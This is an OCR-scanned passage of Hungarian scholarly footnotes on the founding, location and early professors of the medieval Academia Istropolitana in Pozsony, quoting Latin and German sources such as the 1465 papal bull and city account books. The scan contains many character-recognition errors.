mazási! bécsi tanulót ? De akkor minek tette oda Petrus de Pulka, hogy Miklós-
nak azért adhatta át l)átran a levelet, mert a bécsi eg}"etemi tanárok közt
egy ismerőse volt ?), kit másutt budai Miklósnak nevez, és ki által egyik
levelét a bécsi egv-etemnek megküldötte. És minthogy ugyanazon levelében
azt is felemlíti, hogy egy másik levelét egy budai gv'orsfutár által küldötte
a bécsi egyetemnek, talán szabad feltennünk, hogv', úgy mint kétségkívül
ezen budai gj'orsíütár. úgy ^Miklós budai tanuló is Bécsen át Budára ment és
64
taláu a budai egyetemnek is vitt képviselőitől leveleket. Petrus de Pulka
így ír: «. . . aliquoties priiis scrii^si et signauter latius iu crastino Sanctoniin
et Jiidae per r[uendain scolarem de Buda Nicolaum nomine notum Magistx'o
Ulrico de Egenburgo — tani de modo et teinpore coneordiae omuiiim
nationum et collegii d. cardinaliuiii per modo electionis summi pontificis,
quam de collatione beneficiorum et provisioue universitatnm et rotulo mit-
tendo. Qvűbus in die S.Leonliardi per quemdam cursorem de Buda pei-pauca
addidi de decreto super eo sequenti sabbatlio synodialiter edito» stb. (Ama
levél, melyet Petrus de Pulka «per Nicolaum de Buda^ kiüdött, raegA^an
i. m. p. 58. 59.)
^°) Fragm. laauis corvi.l444'-böl : «Sed nequaquam pi'aetereundus est no-
bis F. Michaél, vir, si doctiina illius spectetur, omni exceptione maior, qui
specimen üigenü sui de veiitate inunaculatae virginis editurus in certamen scho-
lastieiuu [azaz scholasticus, nem pedig iskolai vagy egyetemi] emu quodam
alterius instituti Religioso descendit, isto autem multa de jirímigenia Vii'gi-
nis labe obiiciente et ut fieri sólet, quando exulceratis auimis neuter a sta-
tione suae sententiae submoveri se patitm-, altius exclamante, F. Michaél
facto silentio omnium admiratione, simul opinioue quasi responsionis inscius
suggestii descendit, nec niulto post eiusdem quaestiouis tbeses loco patulo
affigit, adversariorum quorumcunque ingenia j^rovocat, nobilium Budeusimn
ipsiusqe Eegis j)raesentiani auditorio suo conciliat, et ubi amplum satis
dignitatis Marianae fórum cuin adversai'io ingressus enodatis ex Alexandro
Alensi difficultatibus, liaereute tandem aemulo a si^ectatissima praesen-
tium corona plausum victoriae non sine aggratulatione tanti ingenü con-
secutus est.»
^^) A pápai bulla, melyből megtudjuk azt is, mi indította Mátyás
királyt az vij egyetem felállítására, megvan Katonánál (Hist. Crit. XV. p. 64),
Péterffynél (Concil.), Wallaszkynál (Tent. j). 54), Kaprinainál (Spec. Hist.
Dipl. I. p. 71), Praynál (Annál. III. p. 315), Fejérnél (Hist. Ac, Doc. IV. 31),
és «ex alio a2:)Ograpbo suiJjiari sed aliquantum praeter ortbograpliiam
adeuratiori I) Scliiernél (Memória Academiae Istropolitanae. Viennae. 1774.
pag. 7), továbbá Töröknél (Magyarország prímása. II. p. 74). Pray az idé-
zett helyen a bullát egy hibás másolat nyomán tévesen 1464-be helyezte volt,
iigy Péterífy is, ki az okmányt egy Heveuessi-fóle másolatból adta ki, mely-
ben meg épen 1414-böl volt keltezve a bulla. Prají^ és Péterífy tévedését
legelőször Katona igazította helyre i. h. Schier munkájából. — A biilla,
mely »Rome apud sauctum Petrum Anno Incarnationis Dominice mil-
lesimo quach'ingentesimo sexagesimo quinto, quarto decimo Kalendas Juniii)
kelt és ((Venerabilibus Fratribus . . Archiepiscopo Strigoniensi . . . Episcopo
Quinqueecclesiensi)) szól, főrészében következőkéiben hangzik: «. . Saue exhi-
bita nobis nuper pro parte charissimi iu Christo filü nostrí Mathie Eegis
Hungarie illustrís petitio contiuebat, quod in Eegno Hungarie licet amplo
et fertih non viget aliquomodo stúdium generálé, propter quod nonnulli
ipsius regni incole, qui ingeuio pollent, et litteranim studio apti existunt,
eorum paupertate ac itineris longitudine, viarmn discriminibus ac idiomatmu
65
difficultatibiis caiisantibiis, sepe ad lóca in qiiibiis stiidia generalia vigent,
se transferre omittniat, in non nioclicmu universalis Ecclesie, eiustleui
regni et Cliristiane religiouis, que presertini in partibus illis, infidelibus con-
tigiiis, vii'is litteratis noscitur indigere, preiitdiciixui et iactiiram. Quare clictus
Kex nobis dnxit hiuniliter snpplicandmn, iit in eodem regno generálé stu-
dinni erigendi et alias in preniissis providendi facultateni concedere tligna-
remiu'. Xos igitiir . . . liiiiusmodi sujjjjlicacionibus inclinati fraternitati Vestre
in aliqua ex civitatibiis, sive aliqiio ex oppidis einsdeni regni, quam seu
qiiod ipse Eex ad id aptaiu seii aptum duxerit eligendum, stúdium gene-
rálé cuni quibuscumqiie faciütatibus eciam ctim Cancellaria, ac salarii de-
putatione inibi pro tempore legenciiuu, erigendi et constituendi, nec non
statuta, consuetudines, et ordinaciones opportuua ad instar studii Bononien-
sis faciendi et ordinantli, duni niodo eadem statuta, postquain edita fuerint,
prius nobis presententm-, et illorum confirmacio a nobis et Sede Apostolica
inápetretur, ac Cancellario eiusdem studii pro tempore personas ydoneas et
bene meritas ad singulos gradus ad quos provebi meruerint, promovendi,
gradusque illos illorumque insignia exliibeudi ac alia ad officium Cancel-
laiii spectancia ad instar Cancellam studii^ Bonouieusis buiusmodi agendi
aliaque omnia et singula circa liec necessaria faciendi et exequendi Aposto-
lica autoritate tenoré pi'esencium licenciám concedimus pariter et faculta-
teni, non obstantibus constitutionibus et ordinacionibus Apostolicis, ceterisque
contrariis quibuseunque. »
^2j Schier lAcad. Istrop. p. 10—13) és Pfeiffer Antal (i. m. p. 19)
azt állítja, hogy eredetileg Esztergomban (Strigonium vagy Isü'opolis) akar-
ták az uj egyetemet felállítani ós csak 1467. július havában vitték át
Pozsonyba «sive quod non adesset sufficiens populi frequentia sive quod
commerciimi cum aliis Academiis, Viennensi praecipue cui colligatam arctius
fundator volebat, difficilius haberetiu*. » Es ezen állítását Scbier azon Lörül-
ménynyel támogatja, hogy, mint látni fogjuk, az egj^etem megnyitására a
legalkalmasabb időt nem Pozsonyban, hanem «in ecclesia Catedrali Strigo-
niensi« kutatták a csillagokban. Lányi, ki eleinte (Kath. clerus érdemei, p. 85)
azt állította, hogy Mátyás alkahnasint Budán, az alapító Vitéz (s talán
Cesinge isi pechg Esztergomban kívánta létesíteni az uj egyemet, mi miatt
a megnyitás két évig ellialasztatott, Egyliáztörténehuében (I. p. 5i5) szin-
tén azt hitte, hogy az egyetem csak később tétetett át Pozsonyba, pedig ö
külömben helyesen magj-arázza a Schier által állításának igazolására fel-
hozott körülményt úgy, hogy felteszi, miszerint a kérdéses csillagvizsgálat
Vitéznek házi observatorimuában Esztergomban történt, a mint már Katona is
helyesen megjegyezte volt (Hist. Crit. XV. p. 68) Schier ellen, hogy «Vitezius
. . siias observationes astrologicas in loco non tam universitatis quam suae
habitationis instituit.» Ivnauz is a Lányi idézett helyéhez irt jegyzetében
azt vallja, hogy « az Academia Istropolitana elejétől fogva Pozsonyban alapít-
tatott*. A mi pechg az emUtett csillagászati megfigyelést illeti, Schier (Mem.
Acad. Istrop. ]). 11 és külön táblában) közölt a bécsi városi könyvtárnak
egy Ptolomaeus-eodexéböl (i<Magnae Compositionis Cl. Ptolemaei libri a
Ábel, Egyetemeink a középkorban. "
66
Georgio Trapezuutio traclucti)), cocl. Corvinianus, most a bécsi udvari könyv-
tárban nv. 24) egy rajzot, kcuíus quidein aliquam [kevésbbé jjoutos] iiotitiaiii
a C. V. Jacobo Pliilippo Lanibacber coiiimmiicatam iam iu dissertatioue de
Bibliotheca Eegia Bvideiisi anno abhinc quinto exliibui [p. 56. 57]», és mely-
nek közeidén a következő felírás olvasható: «Figiu-a Coeli liora Institucionig
Universitatis liistropolitaue Anno domini 1467." In Junio tempore eqixato
die 5. liora 20. post nieridiem precise in Ecclesia Catedi-ali Strigoniensi, et
erat dies Haturni et finis liore niartis." Hogy a nap és óra hibásan van e
felíráson megjelölve, már Schier és"/-revette, 1467. június 5-ike ugyanis nem
szombatra, hanem péntekre esett és lo-ike vagy 25-ike sem esett szom-
batra. Valószínű tehát Sclaier feltevése, hogy a másoló fölcserélte a számokat
és hogy Ildié 20, hóra 5»-t kell olvasmuik ; 1467. jun. 20-ika csakugyan Rzom-
batra esik. Nehéz külömben meghatározni, miben állt ezen «inauguratio». Azt,
hogy jun. 20-ikán az előadásokat megnj'itották volna, nem tartom való-
színűn--k, bár június vége felé alkalmasint volt már egy j)ár egyetemi tanár
Pozsonyban (1. az 56-ik jegyzet végét), azt is látni fogjuk, hogj^ az egyetem
ünnepélyes megnjitása valószínűleg 1467. júl. 20-ika táján történt (1. a 38-ik
jegyzetet), müiélfogva hihető, hogy 1467. június 20-ikán a pozsonjá egyete-
met a kedvező csillagászati constellátió következtében csak symbolikusan
alapították (nem megnyitották). Hogj- ez alkalomból Pozsonyban semmiféle
ünnepélyes szertartás nem lehetett, nyilvánvaló ; hogy is tudhatták volna
1467. jnn. 20-ikan délután 5 órakor a iiozsonyiak, milyen csülagászati ész-
leléseket tettek éjjen akkor Esztergomban ?
^^) L. Frakuói (Vitéz János élete. p. 227), Geist Károly a «Pester
Lloydw ISSO. aug. 26-iki számában megjelent tárczájában (<(Die Istroiioli-
tanischen Museni)), és Eimely (Caj)ituluni . . Ecclesiae CoUegiatae Posoniensis.
Posonii. 1680. p. 124), kinek a pozsonyi egyetemi épületről való adatai, mint
Havlicsek Vincze úrtól tudóin, i^ontosau az okmányokból vannak merítve.
Eimely szerint <iüpportune . . evenit pro Rege talia meditante, quod ci\'is
nobilis ac de eontribulibus suis multipliciter mei'itus Stei^hanus Gmaintl
eo recte tempore absque masciila prole decederet, possessioque eius, ampla
quippe domus in űrbe amjjlumqe allodium in suburbio in fiscum Eegis
devolveretur, qiii donnun illám in lu'be jure regio iu academiam convertit
tali modo, ut climitha eius pars scholaui efficeret, altéra autem collegio
magistrorum et studentium habitaculi iustar inserviret.» — Tévesen állítja
Fraknói i. h., hogy a ház "birtokosának mag falán halála által a koronára
szállott. »
^*) Hogy hol állott a pozsonyi egyetem, sokáig nem tudták. Némelyek
azt hitték, hogy Istropolis-nak hívták Pozsony városának egy részét, mások
Schier szerint (Acad. Istrop. p. 23) «eam cum Ladislao Thiu'ocio (in Hun-
gária cum siiis Eegibus p. 286) ad radices montis collocant, aUi cmn Sa-
muele Timone suh arcé (Epit. rer. Hung. ad a. 1469. p. 26) repositam asse-
riint, alii cum Michaele Boubarth (Topogr. Hung. p. 104) in Suburbium
Wedriz dictum (így Wallaszky is, Tent. j). 63) aut aliain' ad Danubii litus
sitam viciniam rejiciunt (Bél T. I. p. 638)". Schier i. h. az egyetem helyét
67
az alább enilítenclö Ujlaki-féle peres okmányokból határozta meg, hol Jec-
celius ügyvéd azt mondja az egyetemről (Péterffynél Conc. Hung. II. p. 16),
hogy Mátyás király (tpro residentia tam doctorum qnam suppositonim habi-
tatiouibus (Schier és Toldy ezek alatt tévesen a bursf'dínt értik, melyek több-
njáre az egyetemi épületen kívül voltak), ' qnandani amplam domum et
cm'iam plures habitationes in se habentes in hac civitate Posoniensi iuxta
dommu praefatae Praepositiirae Posoniensis in orientali plaga situatam
quam et muro opere egregie constructo usque ad coemeterimn eiiisdem
ecclesiae Posoniensis versus meridiem ampliari fecit.o Ugyanazon okmány
alapján határozta meg az egyetem helyét Wallaszky (Consp. p. 108), és előtte
már Katona (Hist. Crit. XY. p. 69), ki Jeccelius idézett tanúvallomását
úgy mint Schier (i. m. p. 14) és maga Péterífy is {II. p. 15), helyesen
1544-be teszi, nem 1554-be, miilt Wallaszky. Motko helymeghatározása sem
eltérő (iZiu- Geschichte Pressbm-gá» czímü czikkében (Pressb. Zeitung. 1859.
nr. 226 és Eómernél : Pozsony régészeti műemlékei, yt. 295), melyben sz. Már-
ton főtemploma környékén keresi az egyetem helyét, minthogy egy 1472-böl
való városi számadásban egy hidacska említtetik, mely az Akadémiából az
akkor árokkal és temetővel körülvett főtemplom temetőjébe vezetett. Az
említett számadás ugyanaz, minta melyet 1477-böl inem 1 4 72-ből) Rakovszky.
így idéz: «Item am freitag nach Martini (nov. 14-ikén) 2 zymerman, die
das prükl von der Hochen schiiell liinaws auf den freithof (bei S. Martin) ge-
macht habén, als die Kunigeu [Motkónál : der Kiuaig] von Newburg kam, ainen
24 D.» — Pontosabb adatokat közö; Rakovszky István (iDie Academia Istro-
politana)) czímü czikkében (Pressburger Zeitung. 1877. nr. 137) és rövidebben
az Archaeologiai Értesítőben (XII. 1S7S. p. 76.) : uDen Ötandort der Academie
zu bestimmen, ist eine schwierige Aufgabe, da die Reehnungen immer die
Hochschule als «Hinz der Gmatlini) stehend bezeichnen, weil jedoch aus
diesen Jahren kein Gnmdbuch vorhanden ist, der Ort, wo der uGmatlin
Hawst) stand, nicht ermittelt werden kann. [De v. ö. Motkó állítását idézett
tárczájában : ((Das Haus der Gmatl lag zu Folge Grundl)uch voni Jahre
1436 im ersten Theil der inneren ötadt, dórt wo sich aucli die Pfarrkirche
zu St. Martin befand. »] Einen sicheren Anhaltspunkt gibt die Rechnung
des Jahres 1491. ((Maister j^awl plüemel selbdritten awf der Statmawer hinder
der schul ein locht Vermaclit, als die schueler in den püchsenstampf ge-
warffen habn, jeden 1 tagion 2 Sch. 20 Den.» Man könnte alsó als sicher
annehmen, dass sie an die Stadtmauer angebaut, au eben dem Orte stand, wo
heute die königl. Rechtsakademie sich belindet. Der óft erwáhnte Garten des
((KunigSB berechtigt auch zu dieser Annahme, da die Domherrenháuser ausge-
nommen kein anderes Haus einen Garten hat, der von der ehemaligen
Stadtmauer begreuzt würde. » Hogy pedig az egyetemi épület a királyi kertek
szomszédságában feküdt, Rakovszky Pozsony városa számadási könyveinek
következő helyével bizonyítja: "Zween tagloner, die auch in der Hochen
schul, des Kunigs garten. die weinheken aufgebunuen habén imd jetten,
ainen 28 D.» — Még pontosabban írja le az egyetemi épületet Rimely i. m.
p. 126: ((academia ... cuius aediíicium bijiartitum e laj^idibus constructum,
5*
68
inter similes előmos Ambrosii Majer ab aquiloue, et Clu-istophori Veisz sar-
toris a meridie, cTomuique Praepositi ad occasum coutigumu in piatea a
Venturino compellata, facie ad orienteni versimi couspiciebatuD). — Ezen
Gniaintféle házhoz tartozott a városon kivül a mostani Kisfahidy Károly
téren egy majorság, melyet Vitéz János, ki Kimely feltevése szerint a
Gmaintféle háznak egyetemmé való átalakítása költségének nagy részét
viselte, hatszáz arany forintért meg\'ett, «abs dubio [? ?] amplori aeadeuiiae
bono deputandumx, de egynehány hónappal halála előtt megváltoztatta
szándékát és a házat egy pár hü emberének hagj^ományozta (Eimely i. ra.
p. 133).
^^) V. ö. Regiomantus <(Tabnlae chrectionnm»-jáuak Vitézhez intézett
dedicátióját (Analectámiban is, p. 170): «Quam perhennem ciu-ani habeas
condeudi studü generális conclamatum esse iam pridem arbitor, cum ex imi-
versis literatormn consortüs omniiim j)rofessioniini doetissimos quosqiie
viros accersere soleas. »
^''j V. ö. Regiomontanus idézett dedicátiójában az ciofíicio fretns Regii
cancellarii supremin kifejezést, melj' Wallaszky állítása szerint csak az egyetem
cancellári hivatalára vonatkozhatik, minthogy az időben István kalocsai érsek
volt az ország cancellárja. Katona (Hist. crit. XV. p. 223) figyelmeztet ugyan
arra, hogy az időben nemcsak a kalocsai érsek, hanem Vitéz is az ország kanczel-
lárja volt, de hogy Wallaszky helyesen fogta fel Regiomontanus idézett helyét,
kitűnik Vitéznek azon okmányából is, melj'ben a jiozsony ijnépostot kinevezi az
egyetem í;tce-cancellarinsának. — V. ö. még Sehombergnek sirfeHratát (Cseiy
kézirati munkájában Schönvisnerből, kivel 1781. noy. 7-ikén Páles Fiüöp
közölte volt) : wAuno Dni. M"CCCC" octuagesimo sexto in die sancti Hiero-
nimi obiit Reverends. in Xro. Páter Domüius Georgius de Schonberg Australi
Sedis Apostolice Prothonotarius. AVetzflavien. [vagy Wetzlariensis] et prüuus.
Posonien. Ecclesianim infulatus prepositus, nec non liuius Universitatis
Istrojjolitmie Vicecancellarius. Salve et succurre.)) — Azon körülményből,
hogy Vitéz volt az egyetem cancellárja, és hogy ö rá volt bizva a tanárok
meghívása, helyesen magyarázza lúiauz Lányihoz való jegyzetében (I. p. 545
azon körülményt, hogy a bécsi egyetem actáüiak egy helyén a pozsonyi
egyetem Vitéz egj-etemének (sua Univei-sitas) neveztetik, míg Schier (Mem.
Acad. Istrop. p. 9) és utána Lányi azt következtették ezen kifejezésből és
a pápai megerősítő bulla czíméből, hogy a jDOzsonyi egyetem tulaj donképeni
alapítója nem Mátyás kú-ály, hanem Vitéz János volt. Schier ezen nézetét
már Horánj^i is ipai'kodott volt megczáfoluL
'') « Joannes miseracione Divüia Arclii-Episcopus Strigoniensis . . . Pru-
dentibus viris Magistro eiviuni Judici ac iiu"atis civibus civitatis Posoniensis
salutem. Crechmus vos non ignorare, quod ex coucessione sedis Apostolice et
voluntate serenissimi Domini nostri Regis institutiuu sít stúdium generálé in
illa Civitate et ob eam causani de voluntate Domini nostri Regis tnxnsmi-
simus hinc doctores, ante omnia venerabilem fratrem Jobamiem doctorem
decretorum et Magistrmn sacre Theologie, et item magistrmu Martinum
doctorem arcium. jireterea magistrum Petrum doctorem arciuin et medi-
69
ciné, iit iam Dominó annuente in illa universitate, id, quod iustihitiim est,
execiicioni demandetui-, incipiantque lecciones. Brevi etiam temporís venturi
sünt et alii doctores, pro quibus conducendis partim ad Italiam, partim ad
Franciam misimns ; quajiropter rogamus vos, et ex potestate domini nostri
Regis requirímns, quatenus dmu in médium vestri pervenerint excipiatis
eos cnm lionore et pertractetis reverentes et cum magna humanitate, neC
permittatis illis a qiioijiam impetlimeutnm dari, sed jjrout libertás a sede
Apostolica illi nniversitati data et concessa exigit, ipsos et omues alios
doctores et scholares in cetmii et numerum ilüus universitatis ventm-os
defendatis et tueamini contra quoslibet impetitores. Datmn Strigonii sabbato
proximo post festmn divisionis Apostolonim, anno Domini millesinio qiia-
dringeutesinio sexagesimo septimo. » E levelet Pozsonj' városának levéltárából
(Lad. XXIII. N. 27) kiadta Windiscb uEtwas zur Gescbiclite der Istropoli-
tanischen Academie» (Neues Ungarisclies Magazin. II. Pi-essbm-g. 1792 1 czímű
czikkében, innen Belnay (Hist. Litter. Bonarmnque Artium in Hungária.
Poson. 1799. p. 37), Gym-ikoA^cs (Hesperus. XXVIII. Bánd. 1821. .Jabrgaug,
Beylage. 167. Seite). Fejér iHist. Aead. Scient., Docum. 7| és Török (Ma-
gyarország prímása. II. p. 77) ; tartalmát Ballus is adta (Beschreibung der
königLFreistadt Pressbmg und ibrer Umgebimgen. Pressbiu'g. 1823. p. 163).
Eakovszky idézett tárczájában külömben felemlíti, hogy Vitéz kérdéses levele
Pozsony városa levéltárában nincs meg többé ; — de meg\'an a Nemzeti
Múzeum könyvtái'ában.
^*) V. ö. Pozsony városa számadási köny%-einek Eakovszky által köz-
lött következő helyét: nSo habén meine Hen'n geert die toktores die her
sein chomen Am Mantag vor Maiia Magdaléna (jul. 20-ikán) lm 67 Jar,
umb die Hochschuell anzuheben (ezen « elkezdés') aJatt alkalmasint csak
ünnepélyes megnyitást kell értenünk, mei't az egyetemi előadások rendesen
csak aug. elején szoktak bevégződni, nem pedig megkezdődni), mit Huener
und mit Semeln, luid mit weiu, macht 10 Sch. 8 D. und mit Vischen 6
tích. 13 D. und mit piem und Mariilen imd zittber und. mit plmitzen
umb 77 D. facit totuiu 2 Pf. 3 Sch. 22 D.» Fraknói (Magyai'orsz. tanái'ok
és tanulók stb. p. 16) az itt említett doctorok alatt aligha helyesen a bécsi
egj'etemnek látogatóba jött tanárait érti ; helytelenül, mondom, mert a levél,
melyben Vitéz a pozsonyiaknak az i'ij tanárokat ajánlja, Esztergomban jul
18-ikáu kelt, és így valószínű, hogy ezek voltak azon tanárok, kik harmad
napra, jul. 20-ikán, Pozsonyba érkeztek. — Hasonló alkalouu'a A'onatkoznak
Pozsony városa 1467-iki számadási könyveinek következő jegyzetei, melye-
ket Eakovszky tévesen az e.gyetemi épület adaptiójára vonatkozó adatok között
hoz fel : <■ So hab ich gebu dem tuen schadn mit sein gesellen, diu'ch den
piu'germaister gen wien 5 Sch. mit dem brobsto (Schombergl. "MerEaitmir
der pui'germaister, das er hat gebn umb kerschen auf ain eruugobiu 4 Sch.
Hanns Ambster hab ich In mein luuemen geschiieben unter ander gélt, als
er mú' hat gebn, da mir die doktores habn geert facit 4 Seh.». <(Mer hab
ich gebn den Hünem imib Chleiben (Kleie) die man den doctorasen hat
geschenkt, die hab ich 4 tag gehabt 3 Den.»
70
^^) V. ö. Regioiuontaniis deilicátiójának következő helyét : «eiű coeptofeli-
cissiiiio (az egyeteiuuek) nie qiioque Wienneusis Collegii aluniiiuiii quantiun-
cimque aclesse vohiisti, docturum viclelicet quadruviales faciiltates. Venienti
igitur vohxntatiqiie tuae morém gesturo milii imprimis in maudatis dedisti,
ut tabulas quasdam directionura componerem, qnae et usu faciles et iudici-
bus utiles essent.i) Hogy Eegiomontanus e müvét 1467-ben írta, még pedig
nem márczius hava előtt, Schier (Acad. Istrop. p. 43 1 abból következtette,
hogy ((problemate . . trigesimo himc aunum ciu'rentem vocat, exemplis ex
Martio stimptis'i. Hogj' hol írta Eegiornontauus a Tabulae-t, kétségkí^•ül mi-
előtt még elfoglalta volna tanszékét a pozsonyi egjetemen, kitűnik a mű krak-
kói kéziratának (Fraknóinál, Vitéz János élete. p. 231, és Szádeczkynél,
Századok. 1881. p. 421) e jegyzetéből: «Quem quidem libnun Tabnlariuu
composuit doiniiins magister Joannes de Kunigsberg in arcé Strigoniensi
anno domini 1467, cui composicioni predictiis magister Mai'tinus (Ilkusch)
aderat et in plnribus adiutorio fuit.» — Aschbach (i. m. I. 537 — 557) adja
Eegiomoutauns életrajzát, de pozsonyi tanái'kodásáról semmit sem tud, sőt
valószínűnek tartja, hogj' Eegiomontaniis 1462 — 146S-ban Olaszországban
tartózkodott és 1468 — 1471-ben <(bei seinen wiederholten Eeisen nacli und
von Ungaru die Universitáts-Stadt nicht nnbesiicht liess.n !
*") Ki lehetett ezen Péter mester, nem tudjuk. Toldy (i. m.j egy
Thöringer Péter nevű pozsonyi egyetemi tanárt említ, és ugA"anazon neAn'el
találkozunk Teleki hibás közleményében is (Hunyadiak kora. HL lS53. p. .532):
« Vitéz az uj egyetem korlátnoka volt, Lombergdi Györg;^' pozsonyi prépost
alkorlátnoka, az első tanítók pedig Eegiomontanus .János a mennyiségtanban
és csillagászatban; Brandolini Aurél Firenzéből íiz ékesszólásban, Kochdoi-íi (I)
Thöringer |!) Péter a széj) tudományokban f'.l, Polonus Márton a hittanban.
Későbbre 1469 Krombachi!) Lörincz és Maidhugi (I) Gruber Mátyás, előbb
a héber, görög nyelv, és a szentírás tanárai Bécsben. » Ezen Kochdoi'fi Thö-
ringer Péter, Toldyuál Thöringer Péter, ki Teleki szerint a szép tudományo-
kat, Toldy szerint az orvostant adta elő a pozsonyi egyetemen, kétségkiviil
azonos azon líirchdorfi Voerchlinger (Förhinher? Vörchtinger ?) Péter po-
zsonyi baccalam-eussal, kiről Schier p. 19 azt mondja, hogy 1471-ben a bécsi
egyetem artisticus facultásába baecalaureus minőségében felvétetett. Ezen
adat a Vitéz levelében említett « Magister (nem baecalaureus !) Petrus doctor
artimu et medicináé » elnevezéssel combinálva szülte egy sajt('>hiba hozzá-
járulásával a pozsonyi egyetem « Thöringer Péten) nevű tanárát.
*^) Fraknói (Vitéz élete. p. 228) volt az első, ki e két tanárban
Ilkusch Mártonra és Gattus Jánosra ismert. Külíünben azt liiszi Fraknói
(i. m. p. 229), hogy Vitéz meghívása Eegiomontanust Olaszországban (mi ahg
szenved kétséget), Ilkuscht pedig a krakkói egyetemen találta. — Hogy 1467-ben
Ilkusch RegionK)ntanussal huzamosabb ideig Vitéz udvaránál tartózkodott, bi-
zonyítja a 39. jegyzetben közlött könyvfelü'at. 146S. jiilius 24-ikén (*in obsidione
Civitatis Eadijtsthyo Mátyás király fölszólította Pozsony városát, oquatenus
statim et in continenti visis praesentibus unmn currmn simiü cum equis
valentibus disponatis pro Magistris Martiiio Asiroiumio et Galeoto et eosdem
71
absque oiuui iiiora huc ad nostraiu Maiestatem vei ubi Deo cince constitnemiir
condnci facere debeatis et seeus nuUo inodo facere andeatis.» (Telekinél, Hu-
nyadiak kora. XI. p. 3-51. Pozsony városának levéltáráiból). Ilkuschnak ezen
meghivatása az egyetemi év utolsó hetébe esett. Megjegj-zendö végi'e. hogy
Fraknói állítása szerint (1. m. p. á20) Wiszniewszki, «Pomniki Historya
Literatnry Polskiéi" IV. p. 161 szól Ilkuschról, de az idézett kötetnek nin-
csen is annyi oldala és külömben sem találtam Wieszniewszkinél semmit
sem Ilkuschról. Eá vonatkozik Tuberónak eme helye (Schwandtnernél II.
p. 114, a nagj' kiadásban): «Eex Matthias Viennae . , . fato est fímctus spe
fere certa longioris vitae fraudatus, propterea quod qnidam ]\Iartinus ex eo
Saniiatarmn genere quos nunc Polonos dicimt, Budensiuiii sacerdos, qui
quidem Matheseos peritus habebatur, Eegi ut vitae cupido et huic vanitati
admodmn dedito, ac omnia ad fátum referenti facile persuaserat, se decen-
nium adhuc \-icturum ihcet, quum valetudine minus prospera uteretiu- nee
luultum curae in ea tuenda poneret, medici iUmn brevi interitunxm existi-
maiimt.-» Hogy Ilkusch 1490-ben még hazánkban volt, kitűnik Schierböl,
Buda Sacra p. ÜS : « (Ilkusch I etiam in litteris Augeli Episcopi ( )rtani, Sedis
Apostolicae Legati die quinta Julii an. 1490 datis (apud Kerchelich. Hist. Cath.
Eccl. Zagr. p. 203) testis refertum, mely hel^'en azt olvassuk, hogy : «Anno
Domini Milesimo Quadringentesimo Xonagesimo . . Praesentibus ibidem . . .
Martino Protonotar. Apostolico et Budensi Plebano...». De hogy 1507-ben
Ilkusch már Kiakkóljan volt, mutatja javított Calendarimu Eomanumja
(Bandimnál, Bibi. Laur. Codd. Latt. I. p. 701. 702), föltéve, hogy ezen Calen-
dariumot nem kell egy későbbi Ilkusch Mártonnak tulajdonítani. V. ö. e tekin-
tetben Broscius János krakkói egj^etemi könyvtárigazgató jegyzetét € század
elejéről Szádeczkynél (Századok. 1881. p. 421): «Fueiimt multi Martini de
Ilkusch in Academia promoti, sed praecipue duo : Prior iste in astrologia
summus artifex, iiromotus ad magisterii gi-adum a. 1459, postea plebauiTS
Budensis, cuius opera Academia habét globiun ex metallo, aliaque instru-
menta a Mathia rege Ungariae donata. Altér erat dr. theologiae prornoiuS
in magiétrum lyhilosoplüae a. 1491, qui de Correctione Calenderii scripsit
a. 151S ad requisitionem concilii Lateranensis. Extat tractaius in Thesauro
scriptus.n
*-') L. Fraknói, Magyarországi tanulók stb. p. 12. Dr. Schrauf Károly
bécsi egyetemi levéltárnok iiriól tudom, hogy uanno 1449. April 14. imma-
triculatus oder intitulatus est in matricula universitatis (Hauptmatrikel)
Laurencius Coci de Krumpach . . . pauper.i> Ki'umpachi Löriiicz családi
nevét ezen idézetből tanuljuk legelőször ismerni.
*'l A hittudományi kar jegyzőkönyveinek ide vágó helj-eit Schier közli
i. m. p. 25 ; sokkal pontosabb másolatát Schrauf lu* szívességének köszönöm:
« 1469 die 13. Augusti M. Leonardus de Valle Prixnensi proposuit, quod Eeveren-
dus ete. Ai'chipraesul Strigoniensis etc. desideraret M. Mathiam Gruber de
Medling [ki, mint Schrauftól tudom, 1456. ápr. 14-ikén vétetett fel az egyetem
anyakönyvébe : «Matliias Grueber de Medling ... 4 gi'oss. »] ad iustanciam sua-
rum precmii iam promoveri et ad legendiun cursus BibHae admitti, si poste
72
a tenipore consiieto veniret promoTendus. Placiiit Faciiltati, qiiocl exandirettír
siiis in precibns. Die verő decinia septiina niensis ehisdein praefatus M. Leo-
nardus iterum in congi'egatione Facnltatis proposuit, quod Eev. etc. Dominus
Archiepiscopus Strigoniensis peteret adiungi M. Laurencimn de Krompacli Ma-
gistro jn'aefato Matheo (sic !). Quid actiun sit, ^áde de jjroinotis)). Az actának a
pi'oniotiókról szóló ezen előbbi részéből való Scbrauf szerint Schier tövetkezö
idézete : dDie dectma septinia mensis Aiignsti ad preces Eeverendissimi
Arcliipraesnlis Doniini Strigoniensis adiuissi siint et jiraesentati Dominó
Yiceeancellario ad legendmn cursns Bibliáé IVI. Laurentius de Knunpach,
cni assignatus est liber Saj)ientiae et M. Mathias Grueber de MeJUng, cui
assiguate sünt epistola prima et secunda ad Timotlievini et Titum. Et pri-
nnis recepit pro Patre [j^ater-nek bítták azon professort, kinek vezetése alatt
a ciirsor olvasni, legére, tartozott] M. Nicolauni Kreuznacb, secundns M.
Leonardnm de Valle Brixinensi, quornm quilibet tledit nnuni flór. üng.
Decano.»
Miután Schier niegjegj-ezte volt, hogy «Pro seciuido cm-su Laurentius
légit [helyesen : legére debebat] in Epistolam ad Colossenses et Mathias in
Le\'iticum)) így folytatja a jegyzőkönyvnek kivonatát: «1469. 20. Octobris
Beverendissimus in Christo Páter Dominus Archiepiscopus obtulit quandam
supplicationem in scrijitis per médium M. Lam-encü de KnuTipach eideiu
j)etendo ad legendmn cursus noAiter admisso dispensationem super loco
in hac forma: Bogatnus vos, iif cum eo, videlicet IMagistro praememox'ato,
dispensare vclitis et lectiones per eiim légi debendas simul et alios actus
quos ex statuto vestro loerficere habét, in Universitafe Istropolitana con-
tinuari ^)t'/7«?7íaÍ2s. Et seeundum huius supplicationis tenorém per Facu-
Itatem exauditus est.
Anno Domini etc. LXXI-mo feria quarta ante festum Conversionis
S. Pauli (Jan. 24-ikénj fűit congregata Facultas ad audiendum scripta Eeve-
rendissiinaiPatris Domini Archiepiscopi Strigoniensis Facultati missa ab eo
pro M. Laiu-encio de Krmnpach, cmn quo uuper dispensatum erat, ut cur-
sus legére possit in Universitate Histropolitaua quamquam Baccalaiiatum
in Theologia in UniA^ersitate Wiennensi recejsisset ; et quia eundem M. Lau-
